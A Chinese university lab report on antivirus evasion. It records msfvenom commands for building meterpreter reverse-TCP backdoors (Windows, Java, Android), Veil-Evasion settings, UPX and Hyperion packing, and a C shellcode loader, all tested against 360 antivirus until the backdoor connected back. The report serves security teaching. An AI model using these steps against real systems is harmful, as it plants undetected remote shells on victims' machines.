2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

- 实验任务

  • 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 2 通过组合应用各种技术实现恶意代码免杀(1分)
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

- 基础问题回答

(1)杀软是如何检测出恶意代码的?

一种检测是检测特征码,就是检测该代码是否含有恶意代码都含有的一段代码,只要包含这段代码就被认定是恶意代码;
还有一种是检测该代码执行时是否有异常的行为,比如打开异常端口、关闭防火墙等,若有这些异常行为,则认定为恶意代码。

(2)免杀是做什么?

免杀就是通过一些手段对恶意代码进行伪装,达到不被杀毒软件检测出来的目的。

(3)免杀的基本方法有哪些?

有msfvenom编码、使用veil-evasion等重写恶意代码、利用shellcode生成可执行文件、加壳等方法。

- 实验过程

- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

- 使用msf编码器msfvenom生成后门程序

  • 实验二中生成过一个后门程序,hx_backdoor.exe,把它放到virscan网站中扫描;

28款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.128 LPORT=5206 -f exe > met-encoded10.exe指令进行十次编码;

  • 将生成的后门程序使用virscan进行扫描;

多次编码对免杀并没有太大效果。因为虽然进行多次编码,但恶意代码的特征码仍存在,因此依旧能被绝大多数杀毒软件检测出来。

  • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=5206 x> 20165206_backdoor_java.jar指令,生成jar类型的后门程序。

  • 使用msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.153.128 lport=5206 x> 20165206_backdoor.apk指令,生成Android后门程序,此时其为安装包。

- 使用veil-evasion生成后门程序

  • 我在安装veil时,卡在展开对象3,4个小时,换了其他安装方式依然不能解决,所以最终是拷的别人安装好veil的虚拟机。

  • 使用veil指令,启用veil;

  • 使用use evasion指令,进入veil-evasion;

  • 使用use c/meterpreter/rev_tcp.py指令,进入配置界面;

  • 使用set LHOST 192.168.153.133指令和set LPORT 5206指令,设置反弹连接IP和端口;

  • 输入generate指令,生成文件,再输入生成的playload的名字:playload5206;

  • 找到生成的playload5206.exe,并使用virscan进行扫描。

- 使用加壳工具生成后门程序

- 压缩壳
  • 输入upx playload5206.exe -o playload5206_upx.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_upx.exe使用virscan进行扫描。

- 加密壳
  • 进入目录/usr/share/windows-binaries/hyperion/中,输入wine hyperion.exe -v playload5206.exe playload5206_hyperion.exe指令,给生成的后门程序加壳;

  • 将生成的playload5206_hyperion.exe使用virscan进行扫描。

- 使用shellcode编程生成后门程序

  • 输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.133 LPORT=5206 -f c指令,生成一段shellcode;

  • 创建20165206.c文件,在其中输入:

unsigned char buf[] = 
"粘贴之前用msf生成的buf"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 输入i686-w64-mingw32-g++ shellcode5206.c -o shellcode5206.exe指令,编译运行;

  • 将生成的shellcode5206.exe使用virscan进行扫描。

- 通过组合应用各种技术实现恶意代码免杀(1分)

  • 使用MSF meterpreter生成shellcode,对生成的文件使用UPX加壳处理,尝试实现免杀。

  • Windows上的杀毒软件为:360安全卫士 版本11

  • 实现免杀的结果图:

  • 回连成功的结果图:

- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

  • 对方电脑的杀毒软件为:360安全卫士 版本11

  • 免杀的结果图:

  • 回连成功的结果图:

- 实验过程中遇到的问题

  • 问题:在安装veil时,停留在此界面3个小时,仍未完成。上网查询也没找到原因和解决方案。后来询问同学,觉得问题可能出现kali的版本上,下载最新版本的或能解决问题。

- 开启杀软能绝对防止电脑中恶意代码吗?

通过这次实验,发现开启杀软并不能绝对防止电脑中恶意病毒。只是简单的通过制作shellcode、加壳等技术手段的综合,就可以达到免杀的目的。对于一些技术高的黑客,会使用一些更加复杂和高级的手段,逃过杀毒软件的查杀更是很容易的。

- 实践总结与体会

这次实验让我学习到了很多,初步了解了免杀后门程序以及它的制作,我也实现了制作免杀的后门程序。虽然这次实验相对而言并没有那么的复杂,但却是进一步学习免杀的基础,很有意义。同时,我也通过这次实验意识到,对于很多程序员而言,逃过杀毒软件的查杀植入后门并不是件难事,因此以后下载软件要尽量从正版源下载,减少被植入后门的几率。

posted @ 2019-03-29 14:52  brs666  阅读(269)  评论(0编辑  收藏  举报